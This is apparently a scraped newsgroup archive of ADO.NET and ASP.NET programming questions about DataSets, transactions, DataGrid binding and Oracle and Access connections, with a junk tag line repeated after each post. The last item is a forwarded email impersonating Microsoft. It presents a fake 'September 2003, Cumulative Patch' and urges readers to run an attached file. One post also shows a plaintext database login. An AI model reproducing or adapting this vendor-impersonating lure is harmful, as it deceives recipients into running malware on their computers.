Unique values from dataset?
The dataset was populated with "Select category, detail, information from
tblmain".
Now, I'd like to populate a System.Windows.Forms.ListBox with distinct
"category" fields, i.e. each category is listed in the listbox only once.
I'd like to use the dataset I already have without going to the server
again. Would DataView play a part in this? Thanks for any info... Marty Tag: Can't Delete registers in a Acces DB Tag: 67311
How to pull back one field from a child into parent
I have 2 datasets, Parent and Child, with a datarelation between the
2. Each Parent can have 1-n Childs. The Child table has a boolean
field called "FavoriteChild" of which only one of the related Childs
per Parent has the value set to true. How would I display the Name
field of the favorite child in each Parent record. Thanks. Tag: Can't Delete registers in a Acces DB Tag: 67309
Raise exception in stored procedure
Hi all,
Could someone please point me to any docs explaining how to raise exceptions
in stored procedures and catch them in C# ?
Thanks,
Oleg. Tag: Can't Delete registers in a Acces DB Tag: 67307
TOP 5 in access db
how do you get the TOP clause to work in ADO.NET? I have tried this SELECT
TOP 1 NOTE FROM NOTES and that works, but soon as i raise the number past 1
it gives me the entire table back! I want the top 5 records not all of them,
how do you get this to work in ado.net with an access db.. thanks! Tag: Can't Delete registers in a Acces DB Tag: 67304
Transactions and Threading
Hi,
I've written some code that uses a transaction to call a stored
procedure. It is multi-threaded in two ways. First, I create a new
thread to call the method in question. In addition, the whole class
is called by BizTalk every time an EDI file comes into our system, so
this DLL could be fired up several times a second during peak volume.
Our problem manifests when we drop a few files into BizTalk all at
once, which calls my code a few times all at once.
I tried commenting out the thread-spawning code to simplify things,
but I still can't control when files enter our system. Even with my
threading removed, I'm still getting the error, "SqlConnection does
not support parallel transactions" when the code calls
connection.BeginTransaction() on about 1 out of every 4 or 5 files
processed. I also see a few "This SqlTransaction has completed; it is
no longer usable" on trans.Rollback(), and "Invalid operation. The
connection is closed." on connection.BeginTransaction().
Before I removed the threading, I also got errors like "ExecuteReader
requires an open and available Connection. The connection's current
state is Closed," "Object reference not set to an instance of an
object," and "BeginTransaction requires an open and available
Connection. The connection's current state is Open."
The interesting thing about that ExecuteReader error is that my code
is not using ExecuteReader, but some code that executes after my
thread is spawned does use it. I guess that's why it doesn't show up
when there is no multithreading. This does not explain, however, why
my class traps the exception about ExecuteReader and writes it to the
event log. I would think that the other code would either handle or
throw this exception.
Anyway, here's my code (below). Most of the database stuff came
straight from MSDN or something. The function at the top is mine.
The code comes from multiple files and classes, but this shouldn't
really hinder your interpretation.
Can anyone tell what is wrong? I'm hoping that I can tweak some
threading or connection parameters and get it to work as it was
intended.
Thanks for your time!
myClass myObj = new MyClass();
myObj.AddRecord(); // added when next two lines were commented out
//System.Threading.Thread thfoo = new System.Threading.Thread(new
System.Threading.ThreadStart(myObj.AddRecord));
//thfoo.Start();
private void AddRecord()
{
string strSPName = "foo";
arParms[0] = new SqlParameter("@foo1", SqlDbType.VarChar, 25 );
arParms[0].Value = "hello";
...
arParms[7] = new SqlParameter("@foo2", SqlDbType.VarChar, 255);
arParms[7].Value = "world";
using (SqlConnection conn = DBConnection.GetConnection())
{
SqlTransaction trans = conn.BeginTransaction();
try
{
// Call ExecuteNonQuery static method of SqlHelper class
// We pass in command type, stored procedure name, and an array
of SqlParameter objects
SqlHelper.ExecuteNonQuery(trans, CommandType.StoredProcedure,
strSPName, arParms);
trans.Commit();
}
catch (Exception ex)
{
// roll back transaction
trans.Rollback();
}
finally
{
conn.Close();
}
}
}
public static SqlConnection GetConnection()
{
if (myConnection == null || myConnection.State ==
ConnectionState.Closed)
{
new DBConnection();
}
return myConnection;
}
private DBConnection()
{
myConnection = new SqlConnection(strDBConnectionString);
myConnection.Open();
myConnection.StateChange += new System.Data.StateChangeEventHandler
(myConnection_StateChange);
myConnection.InfoMessage += new
SqlInfoMessageEventHandler(myConnection_InfoMessage);
}
public static int ExecuteNonQuery(SqlTransaction transaction,
CommandType commandType, string commandText, params SqlParameter[]
commandParameters)
{
//create a command and prepare it for execution
SqlCommand cmd = new SqlCommand();
PrepareCommand(cmd, transaction.Connection, transaction,
commandType, commandText, commandParameters);
//finally, execute the command.
int retval = cmd.ExecuteNonQuery();
// detach the SqlParameters from the command object, so they can be
reused
cmd.Parameters.Clear();
return retval;
}
private static void PrepareCommand(SqlCommand command, SqlConnection
connection, SqlTransaction transaction, CommandType commandType,
string commandText, SqlParameter[] commandParameters)
{
//if the provided connection is not open, we will open it
if (connection.State != ConnectionState.Open)
{
connection.Open();
}
//associate the connection with the command
command.Connection = connection;
//set the command text (stored procedure name or SQL statement)
command.CommandText = commandText;
//if we were provided a transaction, assign it.
if (transaction != null)
{
command.Transaction = transaction;
}
//set the command type
command.CommandType = commandType;
//attach the command parameters if they are provided
if (commandParameters != null)
{
AttachParameters(command, commandParameters);
}
return;
}
private static void AttachParameters(SqlCommand command,
SqlParameter[] commandParameters)
{
foreach (SqlParameter p in commandParameters)
{
//check for derived output value with no value assigned
if ((p.Direction == ParameterDirection.InputOutput) && (p.Value ==
null))
{
p.Value = DBNull.Value;
}
command.Parameters.Add(p);
}
} Tag: Can't Delete registers in a Acces DB Tag: 67303
Grid Column Styles with OLE DB Adapter
Code in the sample below (and numerous variations) runs
OK...The query works and successfully binds data to the
grid. But the Column Headers and Widths still look as if
the cde that built the column styles colletion, etc. did
not even run. When I run similar code on a different
platform using SQL Server (and of course the SQL Data
Adapter), everything works fine. In fact, it's a great
way to manipulate amny aspects of grid
formatting....colors, fonts, gridlines, the whole nine
yards.
MSDN documents this quite well but I found nothing that
says it should not work with the OLE DB Adapter, etc.
(I'm using it with Oracle)
Anybody know what's up with this?
Private Sub FillDocGrid(ByVal DocID As Integer)
OleDbSelectCommand2.CommandText=SelectDocsCmd &
DocID.ToString & "'"
DocumentsDA.Fill(TechLibDS, "Documents")
'Tried setting Data Source and Data Member
'both ways...runs the same either way
DocGrid.DataSource = TechLibDS.Tables("Documents")
'DocGrid.DataSource = TechLibDS
'DocGrid.DataMember = "Documents"
Dim DocGridTS As New DataGridTableStyle()
DocGridTS.RowHeadersVisible = False
'Tried setting Mapping Name both ways...
'runs the same either way
DocGridTS.MappingName = "TechLibDDS.Documents"
'DocGridTS.MappingName = "Documents"
Dim IDCS As New DataGridTextBoxColumn()
IDCS.MappingName = "ID"
IDCS.HeaderText = ""
IDCS.Width = 0
DocGridTS.GridColumnStyles.Add(IDCS)
Dim DocDateCS As New DataGridTextBoxColumn()
DocDateCS.MappingName = "DocDate"
DocDateCS.HeaderText = "Date"
DocDateCS.Width = 120
DocGridTS.GridColumnStyles.Add(DocDateCS)
Dim TitleCS As New DataGridTextBoxColumn()
TitleCS.MappingName = "Title"
TitleCS.HeaderText = "Document Title"
TitleCS.Width = 400
DocGridTS.GridColumnStyles.Add(TitleCS)
Dim DescCS As New DataGridTextBoxColumn()
DescCS.MappingName = "Description"
DescCS.HeaderText = "Document Descripition"
DescCS.Width = 800
DocGridTS.GridColumnStyles.Add(DescCS)
DocGrid.TableStyles.Clear()
DocGrid.TableStyles.Add(DocGridTS)
End Sub Tag: Can't Delete registers in a Acces DB Tag: 67300
dynamically adding column in database..
Hello all,
I m trying to add a column in my database (it is a csv file)
but it is giving me following exception.
------exception------------
{System.Data.OleDb.OleDbException}
ErrorCode: -2147467259
Errors: {System.Data.OleDb.OleDbErrorCollection}
HelpLink: Nothing
InnerException: Nothing
Message: "Operation not supported on a table that contains data."
Source: "Microsoft JET Database Engine"
StackTrace: " at
System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(Int32 hr)
at
System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS
dbParams, Object& executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteCommandText(Object& executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteCommand(CommandBehavior behavior,
Object& executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior
behavior, String method)
at System.Data.OleDb.OleDbCommand.ExecuteNonQuery()
Here is my code for this.
--------Code--------------
Dim ConnectString As String = "Provider=Microsoft.Jet.OLEDB.4.0;Data
Source=c:\;Extended Properties=""text;HDR=Yes;FMT=Delimited"""
Dim myCon As New OleDbConnection(ConnectString)
Try
myCon.Open()
'Debug.WriteLine("Connection Opened")
Dim cmd As New OleDbCommand
cmd.CommandText = "ALTER TABLE [sample.csv] ADD mycol VARCHAR(50) NULL"
cmd.Connection = myCon
cmd.ExecuteNonQuery()
Catch ex As OleDbException
debug.WriteLine(ex.Message)
Finally
myCon.Close()
End Try
Any known reasons and workarounds????
Thanks & Regards. Tag: Can't Delete registers in a Acces DB Tag: 67298
Remote Scripting
Does anyone know how to return a recordset using remote
scripting. An answer was given about serializing the
data, but I am not sure how this is done. Any help would
be appreciated.
Karen Tag: Can't Delete registers in a Acces DB Tag: 67297
OracleAdapter and Boolean Type
Hello
I have a DataTable with a boolean column (C1)
MyDataTable ( int64 pk, bool C1)
and the OracleAdapter
MyAdapter.SelectCommand = "SELECT pk, C1 FROM MyTable"
I know don't exists boolean type in Oracle Data Base.
so ... What type should I use in Oracle Data Base ?
Thanks for replies. Tag: Can't Delete registers in a Acces DB Tag: 67296
Dataset update, combobox from another table
Hello,
When I call UPDATE command for save changes from my WinForm is Ok from
all my textbox. But when I change my combobox that is populated from
other table no save in my Database (access). Can Help me!. Thank you.
----------------------------------------
Private Sub bnGetCustomers_Click(ByVal sender As System.Object, ByVal
e As System.EventArgs) Handles bnGetCustomers.Click
Dim MyConnection As New OleDbConnection(CONNECTION_STRING)
Dim Adapter As New OleDbDataAdapter(CONNECTION_ADAPTER,
CONNECTION_STRING)
MyConnection.Open()
Dim Adapter2 As New OleDbDataAdapter(CONNECTION_ADAPTER2,
CONNECTION_STRING)
Adapter.Fill(Dataset1, "Requerimiento")
Adapter2.Fill(Dataset2, "RFCoordenadas")
DataGrid1.SetDataBinding(Dataset1, "Requerimiento")
MyConnection.Close()
'-------------------------------------------------------------
With ComboBox2 'here polulate my combobox2, from other
table.
.DataSource = Dataset2.Tables("RFCoordenadas").DefaultView
.DisplayMember = "Site"
.ValueMember = "ID"
End With
'-------------------------------------------------------------
Dim Sector As New ArrayList()
With Sector
.Add("1")
.Add("2")
.Add("3")
End With
ComboBox1.DataSource = Sector
ComboBox1.SelectedIndex = 0
'-------------------------------------------------------------
BindData()
UpdateViewState()
-------------------------------------------------------------------------
Private Sub bnSaveCustomers_Click(ByVal sender As System.Object,
ByVal e As System.EventArgs) Handles bnSaveCustomers.Click
BindingContext(Dataset1, "Requerimiento").EndCurrentEdit()
dsChange = CType(Dataset1.GetChanges, DataSet)
If Not (dsChange Is Nothing) Then
dsChange = SaveOnServer(dsChange)
If Not (dsChange Is Nothing) Then
Dataset1.Merge(dsChange)
Dataset1.AcceptChanges() '77777777777777777777777
dsChange.Dispose() '77777777777777777777777
End If
End If
End Sub
Function SaveOnServer(ByVal dsChange As DataSet) As DataSet
Dim MyConnection As New OleDbConnection(CONNECTION_STRING)
MyConnection.Open()
Dim Adapter As New OleDbDataAdapter(CONNECTION_ADAPTER,
CONNECTION_STRING)
Dim OUpdateCommand As New OleDbCommand("UPDATE Requerimiento
SET [After Antenna (dB)] = ?, [After Azimut] = ?, [After Gru" & _
"po] = ?, [After Power (W)] = ?, [After Tilt] = ?, Sector = ?,
Site = Combobox2.text, Visit" & _
"a_Cliente = ? WHERE Requerimiento.site=RFCoordenadas.site",
MyConnection)
OUpdateCommand.Parameters.Add(New
System.Data.OleDb.OleDbParameter("After_Antenna_(dB)",
System.Data.OleDb.OleDbType.Double, 0,
System.Data.ParameterDirection.Input, False, CType(15, Byte), CType(0,
Byte), "After Antenna (dB)", System.Data.DataRowVersion.Current,
Nothing))
OUpdateCommand.Parameters.Add(New
System.Data.OleDb.OleDbParameter("After_Azimut",
System.Data.OleDb.OleDbType.Double, 0,
System.Data.ParameterDirection.Input, False, CType(15, Byte), CType(0,
Byte), "After Azimut", System.Data.DataRowVersion.Current, Nothing))
OUpdateCommand.Parameters.Add(New
System.Data.OleDb.OleDbParameter("After_Grupo",
System.Data.OleDb.OleDbType.VarWChar, 255, "After Grupo"))
OUpdateCommand.Parameters.Add(New
System.Data.OleDb.OleDbParameter("After_Power_(W)",
System.Data.OleDb.OleDbType.Double, 0,
System.Data.ParameterDirection.Input, False, CType(15, Byte), CType(0,
Byte), "After Power (W)", System.Data.DataRowVersion.Current,
Nothing))
OUpdateCommand.Parameters.Add(New
System.Data.OleDb.OleDbParameter("After_Tilt",
System.Data.OleDb.OleDbType.Double, 0,
System.Data.ParameterDirection.Input, False, CType(15, Byte), CType(0,
Byte), "After Tilt", System.Data.DataRowVersion.Current, Nothing))
OUpdateCommand.Parameters.Add(New
System.Data.OleDb.OleDbParameter("Site",
System.Data.OleDb.OleDbType.VarWChar, 255, "Site"))
OUpdateCommand.Parameters.Add(New
System.Data.OleDb.OleDbParameter("Visita_Cliente",
System.Data.OleDb.OleDbType.VarWChar, 50, "Visita_Cliente"))
Adapter.UpdateCommand = OUpdateCommand
'---------------------------------------------------------------
If Not (dsChange Is Nothing) Then
Adapter.Update(dsChange, "Requerimiento")
Return dsChange
Else
Return Nothing
End If
'dsChange.AcceptChanges()
MyConnection.Close()
End Function Tag: Can't Delete registers in a Acces DB Tag: 67293
Stored Proc with EXEC Causes Error
If inside my stored procedure, there is an EXEC "Some_sql_string" command,
ado errors out saying "Cannot find stored procedure "Some_sql_string". This
is inside the stored proc. Not a string I'm executing from dot net. I've
tried this in both c# and vb. Using both objCmd.ExecuteReader to fill a
data grid, or a data adapter to DataView to the data grid. Same error each
time. Like ado executes my first proc, then sees the EXEC tsql command, and
tries to treat it as a second stored proc. This worked fine in old ADO. I
dont understand how ado.net sees my sql string. Its inside a stored proc, I
would think sql would execute the proc and return the rs. It dosent matter
what commands are passed to sql EXEC, they always produce the same error.
Any ideas? Tag: Can't Delete registers in a Acces DB Tag: 67287
Urgent Help Required from Gurus - Conditional databinding
Hi,
I have an ASPX page which has a datagrid and this datagrid is bound to a
Custom Collection.
sample code
this.DataGrid1.DataSource = UserManager.Users;
this.DataGrid1.DataBind();
Everything works fine and when the page is loaded, the datagrid displays
the list of users present in the Usermanager.Users object.
Now, I want to do a conditional binding - for example, I want the
datagrid to have only those users who have certain privileges. To be more
specific, this is what I want to do
foreach(User user in UserManager.Users)
{
if(user.Privileges.Contains(certainPrivilege) ||
user.Privileges.Contains(anotherCertainPrivilege)
{
//Add the row to the grid
}
else
{
//Do not add this row to the grid
}
}
How do I accomplish this - please note that I don't want to the change the
datasource of the grid to reflect this - the data source should be the
entire list of Users and not a filtered list based on priviliges.
Please help me with this - what I am looking for is a solution which will
allow me to use the ItemDataBound or DataBinding events to do this.
Also, I do not want to hide the rows (visible = false). This spoils the
paging routines in the page.
CGuy Tag: Can't Delete registers in a Acces DB Tag: 67286
DataGrid and DataReader
How can i use DataReader with Datagrid paging ?
Excuse me for bad english... Tag: Can't Delete registers in a Acces DB Tag: 67283
How to find out the name of the virtual directory in ASP.NET
Dear Friends
How things going well. I have a question. Please help me. Thanks in advance.
I like to give our customers a web site in our site i.e
www.ourdomain.com/JackSalume
www.ourdomain.com/JanetWilson
www.ourdomain.com/CarenAnderson
All the customers use the same template i.e
their home page contains a picture and some text and the
other pages contains our cutomers products
...
I like to use ASP.NET for implementing the customer pages
The customer have an admin pannel to upload files and write the
text that shows in his home page I mean he/she can customize his/her web
page I mean the contents of the files in the Virtual Directory with his/her
name
I want to put all the ASP.NET page in a directory called customers
but at the same time, want to let customers see their files at thier
directory not at customer folder
I think I must use frames. do you know how ?
Also
I want to find out the name of the customer from the virtual directory name
so I can make his /her web site by using the ASP.NET pages in customer
folder so how can I access the the name of the virtual directory in ASP.NET
code?
Any Commnets to better implement this site?
Thank you very much
Amir Eshterayeh
aeshterayeh@hotmail.com Tag: Can't Delete registers in a Acces DB Tag: 67278
MIcrosoft ODP
Good Day Folks,
I'm trying the Oracle Data Provider, the one written by
Microsoft, without success thus far.
The code and error message are listed below.
Any ideas ?
Thanks in advance.
------------------
Code
<%@Page Language = "VB"
CompilerOptions='/R:"c:\windows\microsoft.net\framework\v1.
1.4322\system.data.oracleclient.dll"' Debug="true"%>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.OracleClient" %>
<html>
<head>
<title></title>
</head>
<body>
<%
dim rcDB as OracleConnection
dim theSQL as string,connstring as string
dim oracleDSN as string, p_userid as string, p_password as
string
oracleDSN="WEB"
p_userid="x13923"
p_password="teacher"
connstring="Data Source=" & oracleDSN & ";User ID=" &
p_userid & ";Password=" & p_password & ";Enlist=False"
theSQL="select stud_id,stud_name FROM WEB_STUDENT_HEADER"
rcDB =New OracleConnection(connstring)
rcDB.open()
Dim myCommand As New OracleCommand(theSQL , rcDB)
dim dataset as OracleDataReader= myCommand.ExecuteReader
()
do while dataSet.read() %>
<%= dataSet("stud_id") & " / " & dataSet("stud_name")
& "<br />" %>
<% loop
myCommand.dispose
rcDB.close
rcDB.dispose
%>
Done !
</body>
</html>
---------------------
Error Message
Exception Details:
System.Data.OracleClient.OracleException: ORA-02041:
client database did not begin a transaction
Source Error:
Line 31: Dim myCommand As New OracleCommand(theSQL , rcDB)
Line 32:
Line 33: dim dataset as OracleDataReader=
myCommand.ExecuteReader()
Line 34:
Line 35: do while dataSet.read() %>
Source File: c:\inetpub\wwwroot\odpselectmicrosoft.aspx
Line: 33
Stack Trace:
[OracleException: ORA-02041: client database did not begin
a transaction
]
System.Data.OracleClient.OracleConnection.CheckError
(OciHandle errorHandle, Int32 rc) +80
System.Data.OracleClient.OracleCommand.Execute
(OciHandle statementHandle, CommandBehavior behavior,
Boolean isReader, Boolean needRowid, OciHandle&
rowidDescriptor, ArrayList& refCursorParameterOrdinals)
+1919
System.Data.OracleClient.OracleCommand.Execute
(OciHandle statementHandle, CommandBehavior behavior,
ArrayList& refCursorParameterOrdinals) +28
System.Data.OracleClient.OracleCommand.ExecuteReader
(CommandBehavior behavior) +272
System.Data.OracleClient.OracleCommand.ExecuteReader()
+7
ASP.odpselectMicrosoft_aspx.__Render__control1
(HtmlTextWriter __output, Control parameterContainer) in
c:\inetpub\wwwroot\odpselectmicrosoft.aspx:33
System.Web.UI.Control.RenderChildren(HtmlTextWriter
writer) +27
System.Web.UI.Control.Render(HtmlTextWriter writer) +7
System.Web.UI.Control.RenderControl(HtmlTextWriter
writer) +243
System.Web.UI.Page.ProcessRequestMain() +1929 Tag: Can't Delete registers in a Acces DB Tag: 67275
timestamp
hi there
in my database i have a column timestamp (sql server 2000) . now i read this
entry with a reader:
programming language: c#.net
...
...
byte test ;
while (reader.Read())
{
test = Convert.ToByte(reader["AdrTimestamp"]);
}
...
...
i got the answer that this cast is not valid
i also tried to do id with a string
stringTest = Convert.ToByte(reader["AdrTimestamp"]);
or i tried:
stringTest = reader["AdrTimestamp"].ToString();
but the Value i then get is: "System.Byte[]" but i would like to see its
value....
could anyone help please ? this would be great...
thanks
jonas Tag: Can't Delete registers in a Acces DB Tag: 67274
Expression DataColumns don't get evaluated after a DataSet Merge()
Hi,
After creating a DataSet with an Expression Column y I'm trying to Merge
some data from another DataSet returned by the middle tier. Both source and
destination DataSet have the same columns and tables, except for one
expression column wich can be easily evaluated as result of two other
columns (say FullName = LastName + ', ' + FirstName).
For some reason, after I merge the DataSet, if I look to the value of the
expression-column for the merged rows, they all have DbNull value instead of
the value returned by the expression. But if I add a new DataRow trough code
the expression gets properly evaluated just in that row.
Is there a reason for this behavior? Is this a bug? Is this by design?
My workaround is to reset the expression after I merge the two DataSet.
After that, all the rows have the correct value in the expression column:
DataSet ds = MiddleTier.GetData();
myDataSet.Merge(ds);
//workaround: after Merge, reset expression to the same expression
myDataSet.Tables[0].Columns["FullName"].Expression += "";
This is very ugly code. Is there a better, scientific, Microsoft approved
way to tell a DataColumn to reevaluate an expression after a
DataSet.Merge(). Why expression-based columns don't get reevaluated after a
DataSet.Merge(). Thanks.
Germán. Spain. Tag: Can't Delete registers in a Acces DB Tag: 67270
ODBC Database Connection Woes in ASP .NET
This problem has had me stuck for weeks now...
I have an ASP .NET application on a machine running Windows 2000
Server.
It connects to an ODBC data source using the ODBC Data Provider.
The connection takes about 5 seconds to create.
It takes 5 seconds whether I load the application locally on the
server's browser, or across the network from a client PC.
A Windows Forms application on the same server, creates the same
connection in 0.7 seconds.
The same ASP .NET application installed on a low spec development
machine running Windows 2000 Professional (or Windows XP Pro), opens
the connection in 0.7 seconds.
Please, please tell me if you have seen this before and give me some
ideas.
I've tried everything!
Thanks In Advance
James Tag: Can't Delete registers in a Acces DB Tag: 67269
Exception: 'ResourcePool' is not supported on the current platform.
I recieve this error in ASP .NET project while I try to connect SQL Server
Exception:
PlatformNotSupportedException: 'ResourcePool' is not supported on the
current platform.
What can be cause of this error?
Environment:
Windows 2000 Advanced Server
.NET Framework 1.0.3705.0 Tag: Can't Delete registers in a Acces DB Tag: 67268
Access data in a commasep. text file
I need to write a program that accesses data in=20
commaseparated text file. Instead of just reading the=20
lines and chopping out the text in field values, I=20
thought that I could use ODBC to just access it as a=20
table.
I have created a File-DSN for the directory where the=20
file is located. A specific file cannot be referenced in=20
the DSN entry. I guess that the individual files are=20
considered tables for such an entry.=20
I have then selected an ODBC connection (ODBC connection=20
1)from the dataobjects tab and have set its=20
ConnectionString property to the DSN entry:=20
"SafeTransactions=3D0;MaxScanRows=3D8;DefaultDir=3DF:\Visual=20
Studio Projects\N=F8gleta" & _
"l - Dataopdatering\Test Data;FILEDSN=3DF:\Visual=20
Studio Projects\N=F8gletal -" & _
" Dataopdatering\Statoil Data\Test=20
Data.dsn;DriverId=3D27;UID=3Dadmin;UserCommitSy" & _
"nc=3DYes;FIL=3Dtext;PageTimeout=3D5;Driver=3D{Microsoft=20
Text Driver (*.txt; *.csv)};MaxB" & _
"ufferSize=3D2048;Threads=3D3"
(this was generated by the VB when i chose new connection=20
and pointed to the File-DSN)
However, I don't seem to be able to get the Dataadapter=20
working:
Dim dadapKunde1 As Odbc.OdbcDataAdapter
Dim str_sql As String =3D "SELECT * FROM Kunddat1.txt"
dadapKunde1 =3D New Odbc.OdbcDataAdapter(str_sql,=20
OdbcConnection1)
dadapKunde1.Fill(datsetKunde1, "Kunddat1.txt")
When I run the code there is an error in the last=20
statement:
"An unhandled exception of=20
type 'System.ArgumentNullException' occurred in=20
system.data.dll
Additional information: A Value may not be null"
Perhaps i am handling the reference to the file=20
(Kunddat1.txt) wrongly. I just don't see where to=20
reference it otherwise. The DSN entry only points to the=20
directory. But it should be possible.
Any help is appreciated.
With kind regards,
Frank Tag: Can't Delete registers in a Acces DB Tag: 67267
datagrids and the edititemindex
Hi,
I've bound a datareader to a datagrid.
I can change each row with the onEdit, onCancel and
onUpdate events of the datagrid.
But is there a way that I can change all th erows of the
datagrid at a time, so I don't have to edit each row
sepperatly.
Thanks for the answer
filip Tag: Can't Delete registers in a Acces DB Tag: 67265
DataColumn.Expression Property
Hello,
I want to use the expression property to add a column to
my dataset, of the type xs:duration(System.TimeSpan). via
the expresion, I want to caluculate the difference between
to xs:time(System.DateTime) columns. But when I
enter "col2 - col1" in the expresion, I get a runtime
error that tells me that "-" is not supported on
System.DateTime.
Anybody has an idea how I can get the result I want?
thanks,
Gert
P.S., My dataset is a typed dataset created via the xsd
designer of Visual Studio. I do not connect to a database,
I use the dataset as a local database. Tag: Can't Delete registers in a Acces DB Tag: 67264
binding data to datagrid
Hi all,
Struggling with something at the moment. I've got a
Employee database that I want users to search through the
intranet, via an asp.net web form. I've got it working
using a dataset bound to a Data Grid and it works well so
far. Now, when searching for someone, say, Joe Smith, I
only want one record for him to come up. For example,
something like:
Joe Smith
Job Title: IT Manager, Location: Chelmsford
Work Tel: 27394739 , E-mail: someone@anywhere.com
However, because of the nature of our business, there are
some employees who have more than one job title, or
because they are mobile, they are based at several
locations. The problem is, for every additional Job
Title, or Location, it displays a new record for Joe
Smith. It's not a duplicate, because the job title or
location is different, but it doesn't look good having
several records for the same person with just a few
differences that people will have to make out.
Just so you have an idea- let's say there are tables in
the database: Employee, JobTitles, Locations, and two
cross-reference tables: EmployeeJobTitle and
EmployeeLocation.
I'm a beginner in both SQL and VB.Net so don't really
know whether this would be implemented on the database or
programming side, but I assume it will be more on the SQL
side.
Any help much appreciated- and if you would like to see
more (existing scripts, queries etc) just let me know.
Jano Tag: Can't Delete registers in a Acces DB Tag: 67263
Search by column
Visual Basic.NET, SQL db
--------------------------------------
objRow = objDataSet.Tables("Owners").Rows.Find
(txtSearch.Text)
Here I'm using Find to search SQL database by primary key.
How do I search this database by row but without primary
key.
I would like to search by column "Name" Tag: Can't Delete registers in a Acces DB Tag: 67261
How to retrieve provider-side parameter information for the stored procedure in ADO.NET
hello~
In ADO 2.7, there is a Refresh method can get the parameter infomation
of a store procedure
like this...
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/ado270/htm/mdamth03_7.asp
But, I can not find the same method in ADO.NET.
How can I do the same thing in ADO.NET? Tag: Can't Delete registers in a Acces DB Tag: 67260
Connecting to IBM db2
I want to know what port ado.net uses to connect to an IBM
db2 database located remotely. As i want to open the
specific protocol based port on the database server. Tag: Can't Delete registers in a Acces DB Tag: 67259
Restore Database from network drive doesnt work
Hi,
I'm using the following c# code to restore a database:
SqlCommand sqlCommand2 = new SqlCommand(@"RESTORE DATABASE datalo FROM
DISK='"+fileNavn+@".dat.dtldb' WITH MOVE 'datalo' TO
'C:\programmer\datalo\data\datalo.mdf', MOVE 'datalo_log' TO
'C:\programmer\datalo\data\datalo.ldf'", sqlConnection);
sqlCommand2.Connection.Open();
sqlCommand2.CommandTimeout = 300;
sqlCommand2.ExecuteNonQuery();
sqlCommand2.Connection.Close();
The code works perfectly if the backup-file "fileNavn" is located on a lokal
drive, but if it's on a network drive, I get exception:
System.Data.SqlClient.SqlException: Cannot open backup device
'\\filserver\test.dat.dtldb'. Device error or device off-line. See the SQL
Server error log for more details.
RESTORE DATABASE is terminating abnormally.
(The exact same commandtext works from osql.exe)
Any ideas? Tag: Can't Delete registers in a Acces DB Tag: 67257
FW: Apply this important package that comes from MS
--qwtsmxeqc
Content-Type: multipart/related; boundary="lhqjjyyf";
type="multipart/alternative"
--lhqjjyyf
Content-Type: multipart/alternative; boundary="lspjatmlmaqu"
--lspjatmlmaqu
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Microsoft User
this is the latest version of security update, the
"September 2003, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to protect your computer
from these vulnerabilities.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
Microsoft Product Support Services and Knowledge Base articles =
can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please =
visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.
----------------------------------------------
The names of the actual companies and products mentioned =
herein are the trademarks of their respective owners.
Copyright 2003 Microsoft Corporation.
--lspjatmlmaqu
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:xjfztut" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft User<BR><BR>
this is the latest version of security update, the
"September 2003, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to protect your computer
from these vulnerabilities.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:nzjwywb" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
